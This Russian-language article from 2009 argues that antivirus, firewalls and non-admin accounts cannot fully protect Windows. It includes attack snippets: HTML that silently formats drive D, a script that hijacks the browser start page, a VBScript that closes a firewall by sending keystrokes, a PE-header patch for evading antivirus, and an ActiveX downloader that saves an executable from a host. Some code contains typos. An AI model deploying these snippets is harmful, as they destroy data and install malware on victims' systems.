Классическая модель безопасности - это мыльный пузырь?
Цель данной статьи - сформировать у читателя базовое представление о том, что же такое компьютерная безопасность.
🕛 20.09.2009, 13:33
Предположим, что рассматриваемая нами система (в данном контексте будем говорить об операционных системах линейки Windows) защищена межсетевым экраном и антивирусом; ко всему прочему (а это, с точки зрения взлома, можно считать одним из ключевых моментов), пользователь работает не от прав администратора!Насколько безопасна такая система? Попробуем выяснить это вместе.
Антивирус
Нужен ли нам антивирус? «Конечно же, нужен, - скажет абсолютное большинство. - Как без антивируса‑то? Чем же мы будем защищаться?».Диски надо регулярно проверять? Вдруг "киберзараза" тихо сидит и ждет, а потом в определенный день и час отформатирует жесткий диск.
Проверять, разумеется, лучше всего регулярно - как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности. Надо проверять все носители информации: само собой разумеется, жесткий диск, конечно же, дискеты, флэш‑карты и обязательно компакт‑диски - совсем не важно, что это займет у вас некоторое время, ведь безопасность превыше всего.
Обновление антивирусных баз - это вообще святое. Базы недельной давности - уже древние. Поэтому риск "подцепить заразу" со старыми базами очень велик, и это прописная истина. Выход - базы надо обновлять регулярно.
Время идет, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный, конечно), и "страж" выдает сообщение, что надо бы купить ключик, а то программа не будет полноценно работать. Ну что ж, выход есть - надо найти ключ.
Одного антивируса явно недостаточно! Все мы знаем, что для обеспечения мало‑мальски приличного уровня безопасности надо установить два антивирусных продукта, а чтобы они не конфликтовали - на разные системы. Все верно.
Все было сделано правильно и работало на ура… Ничего не предвещало беды… пока в один прекрасный день система не легла‑таки под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жесткий диск зверски отформатирован. Но ведь все было сделано правильно!
Вариант 1.Вы «подцепили заразу» раньше, чем ее сигнатуры успели попасть в базы вашего антивируса, к тому же вирусом оказался не классический EXE‑файл, а HTML‑страница. Почему бы и нет?
Механизм работы такого вируса реализуется через уязвимости браузера при обработке ActiveX‑объектов. Итак, начнем веселый некролог системе следующим образом (листинг 1.1).
Листинг 1.1. Устанавливаем стартовую страницу браузера
<APPLET ID="Sh1 " CLASSID="CLSID:F935DC26‑1CF0‑11D0‑ADB9‑00C04FD58A0B"> </APPLET> <script> Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru"); </script>Вариант 2.Звучит кощунственно: содержимое HTML‑файла, подобно патологоанатому, методично «потрошит» винчестер. Невозможно? Еще как возможно! А вот и сценарий стартовой страницы (листинг 1.2).
Листинг 1.2. HTML‑код, форматирующий диск D:
<script> a=new ActiveXObject("WScript.Shell"); a.run("cmd /c format d:/y",0); </script>Вышеописанный сценарий, внедренный злоумышленником в HTML‑страницу, ни много ни мало незаметно форматирует диск, указанный в коде.
Продолжим веселый некролог.
Вариант 3.Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».
Вариант 4.Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE‑файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE‑заголовок (часть EXE‑файла, отвечающая за исполнение; в данном случае редактирование PE‑заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).
Листинг 1.3. Некоторый учебный пример модификации PE‑заголовка
_PtchImSz: mov eax, [esi + 0Ch] ; VirtualRVA(Last section) add eax, [esi + 08h] ; VirtualSize(Last section) mov [edi + 50h], eaxВариант 5.«Зараза» успела отключить антивирус раньше, чем он ее обнаружил.
Эпикриз.Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.
Брандмауэр
Нужен ли нам брандмауэр?
Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него‑то вообще? Брандмауэр - это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр - это святое. Agnitum, Zone Alarm - кому что нравится.
Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?
Вариант 1.На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения- идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) - лишь пример, но…
Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)
set WShell = CreateObject("WScript.Shell") WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe" WScript.Sleep 200 WShell.AppActivate "Agnitum", TRUE WScript.Sleep 100 WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}" WScript.Sleep 100 WShell.SendKeys "{ENTER}"
ПРИМЕЧАНИЕ
Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло‑код" (рис. 1.1)!
«Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
Вариант 2.Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80‑й порт должен быть открыт! Пример (листинг 1.5) - реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
И опять наш «Касперский» оказался на высоте
Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
<script> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.OpenC'GET', "http://www.example.com/1.exe", 0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\example.exe", 2); </script> <script language="javascript"> function preparecode(code) { result = ""; lines = code.split(/\r\n/); for (i=0; i<lines.length; i++) { line = lines[i]; line = line.replace(/*\s+/,""); line = line.replace(/\s+$/,""); line = line.replace(/'/g,"\'"); line = line.replace(/[\\]/g,"\\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'\\r\\n'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval(" + mycode + "')"; window.open(myURL, "_media"); } setTimeout("doit()", 5000); </script> </html>Вариант 3.Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.
Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.
Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.
В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML‑код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.
Листинг 1.6. Наш учебный код
<HTML> OBJECT CLASSID='CLSID:10000000' CODEBASE='C:\Windows\system32\logoff.exe'> </OBJECT> <HTML>
ПРИМЕЧАНИЕ
Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.
А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX‑системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.
Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.
Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.
Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!